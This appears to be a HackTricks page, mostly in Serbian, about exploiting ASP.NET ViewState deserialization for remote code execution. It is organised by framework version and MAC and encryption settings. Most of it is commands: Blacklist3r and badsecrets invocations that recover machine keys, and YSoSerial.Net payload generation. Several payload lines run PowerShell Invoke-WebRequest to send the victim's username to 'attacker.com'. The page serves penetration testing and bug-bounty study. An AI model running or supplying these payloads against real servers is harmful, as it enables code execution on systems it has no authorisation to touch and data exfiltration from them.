Exploiting __VIEWSTATE without knowing the secrets

Podrška HackTricks

Savjet za bug bounty: prijavite se za Intigriti, premium bug bounty platformu koju su kreirali hakeri, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

Šta je ViewState

ViewState služi kao podrazumevani mehanizam u ASP.NET-u za održavanje podataka o stranici i kontrolama između web stranica. Tokom renderovanja HTML-a stranice, trenutna stanja stranice i vrednosti koje treba sačuvati tokom postback-a se serijalizuju u base64-encoded stringove. Ovi stringovi se zatim smeštaju u skrivene ViewState polja.

Informacije o ViewState-u mogu se karakterisati sledećim svojstvima ili njihovim kombinacijama:

  • Base64:

  • Ovaj format se koristi kada su oba atributa EnableViewStateMac i ViewStateEncryptionMode postavljena na false.

  • Base64 + MAC (Kod za autentifikaciju poruka) omogućeno:

  • Aktivacija MAC-a se postiže postavljanjem atributa EnableViewStateMac na true. Ovo obezbeđuje verifikaciju integriteta za ViewState podatke.

  • Base64 + Enkriptovano:

  • Enkripcija se primenjuje kada je atribut ViewStateEncryptionMode postavljen na true, obezbeđujući poverljivost ViewState podataka.

Test slučajevi

Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u ASP.NET-u na osnovu verzije .NET framework-a. Evo sažetak sadržaja:

  1. Za bilo koju verziju .NET-a, kada su MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje.

  2. Za verzije ispod 4.5, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikaciju MachineKey-a se naziva "Blacklist3r."

  3. Za verzije ispod 4.5, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikacija MachineKey-a je zadatak za "Blacklist3r - Budući razvoj."

  4. Za verzije 4.5 i više, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r."

Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false

Takođe je moguće potpuno onemogućiti ViewStateMAC postavljanjem registry ključa AspNetEnforceViewStateMac na nulu u:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}

Identifikovanje ViewState Atributa

Možete pokušati da identifikujete da li je ViewState zaštićen MAC-om tako što ćete uhvatiti zahtev koji sadrži ovaj parametar pomoću BurpSuite-a. Ako se MAC ne koristi za zaštitu parametra, možete ga iskoristiti koristeći YSoSerial.Net

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"

Test case 1.5 – Kao Test case 1, ali ViewState kolačić nije poslat od strane servera

Developers can remove ViewState from becoming part of an HTTP Request (korisnik neće primiti ovaj kolačić). One may assume that if ViewState is not present, their implementation is secure from any potential vulnerabilities arising with ViewState deserialization. However, that is not the case. If we add ViewState parameter to the request body and send our serialized payload created using ysoserial, we will still be able to achieve code execution as shown in Case 1.

Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false

In order to enable ViewState MAC for a specific page we need to make following changes on a specific aspx file:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>

Možemo to uraditi i za celu aplikaciju postavljanjem u web.config datoteku kao što je prikazano u nastavku:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>

Pošto je parametar zaštićen MAC-om, da bismo uspešno izvršili napad, prvo nam je potreban korišćeni ključ.

Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da pronađete korišćeni ključ.

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"

--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value

Badsecrets je još jedan alat koji može identifikovati poznate machineKeys. Napisan je u Python-u, tako da, za razliku od Blacklist3r, nema zavisnost od Windows-a. Za .NET viewstate-ove postoji "python blacklist3r" alat, koji je najbrži način da se koristi.

Može se direktno snabdeti viewstate-om i generatorom:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Ili, može se direktno povezati na ciljani URL i pokušati da izvuče viewstate iz HTML-a:

pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Da biste pretraživali ranjive viewstate-ove na velikoj skali, u kombinaciji sa enumeracijom poddomena, može se koristiti badsecrets BBOT modul:

bbot -f subdomain-enum -m badsecrets -t evil.corp

Ako imate sreće i ključ je pronađen, možete nastaviti sa napadom koristeći YSoSerial.Net:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

--generator = {__VIWESTATEGENERATOR parameter value}

U slučajevima kada server ne šalje _VIEWSTATEGENERATOR parametar ne trebate da obezbedite --generator parametar već ove:

--apppath="/" --path="/hello.aspx"

Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true

U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vrednost verovatno enkriptovana i biće vam potrebna Mašinska Ključ za enkripciju vašeg payload-a kako biste iskoristili ranjivost.

U ovom slučaju Blacklist3r modul je u razvoju...

Pre .NET 4.5, ASP.NET može prihvatiti nekriptovani ___VIEWSTATE_parametar od korisnika čak i ako je ViewStateEncryptionMode postavljen na Uvek. ASP.NET samo proverava prisutnost __VIEWSTATEENCRYPTED parametra u zahtevu. Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.

Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga datoteka, YSoSerial.Net komanda korišćena u Slučaju 2, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a.

  • Uklonite __VIEWSTATEENCRYPTED parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška u validaciji Viewstate MAC-a i eksploatacija će propasti.

Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false

Možemo naterati korišćenje ASP.NET okvira tako što ćemo navesti dole navedeni parametar unutar web.config datoteke kao što je prikazano ispod.

<httpRuntime targetFramework="4.5" />

Alternativno, ovo se može uraditi tako što se navede opcija ispod unutar machineKey parametra u web.config datoteci.

compatibilityMode="Framework45"

Kao u prethodnom, vrednost je enkriptovana. Zatim, da bi poslao validan payload, napadaču je potreban ključ.

Možete pokušati da koristite Blacklist3r(AspDotNetWrapper.exe) da pronađete ključ koji se koristi:

AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate  --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"

--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}

Za detaljniji opis za IISDirPath i TargetPagePath pogledajte ovde

Ili, sa Badsecrets (sa vrednošću generatora):

cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Kada se identifikuje važeći Machine key, sledeći korak je generisanje serijalizovanog payload-a koristeći YSoSerial.Net

ysoserial.exe -p ViewState  -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2"  --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"

Ako imate vrednost __VIEWSTATEGENERATOR, možete pokušati da koristite parametar --generator sa tom vrednošću i izostavite parametre --path i --apppath.

Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva van kanala ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ova vrsta eksploata je prikazana u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Za dalja objašnjenja o tome kako funkcioniše proces eksploatacije i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati pruženi PoC of Successful Exploitation.

Test slučaj 6 – ViewStateUserKeys se koristi

Svojstvo ViewStateUserKey može se koristiti za odbranu od CSRF napada. Ako je takav ključ definisan u aplikaciji i pokušamo da generišemo ViewState payload koristeći metode o kojima smo do sada razgovarali, payload neće biti obrađen od strane aplikacije. Treba da koristite još jedan parametar kako biste ispravno kreirali payload:

--viewstateuserkey="randomstringdefinedintheserver"

Rezultat uspešne eksploatacije

Za sve test slučajeve, ako ViewState YSoSerial.Net payload radi uspešno, server odgovara sa “500 Internal server error” sa sadržajem odgovora “Informacije o stanju su nevažeće za ovu stranicu i mogu biti oštećene” i dobijamo OOB zahtev.

Proverite dodatne informacije ovde

Reference

Bug bounty saveta: prijavite se za Intigriti, premium bug bounty platformu koju su kreirali hakeri, za hakere! Pridružite nam se na https://go.intigriti.com/hacktricks danas, i počnite da zarađujete nagrade do $100,000!

Podržite HackTricks

Last updated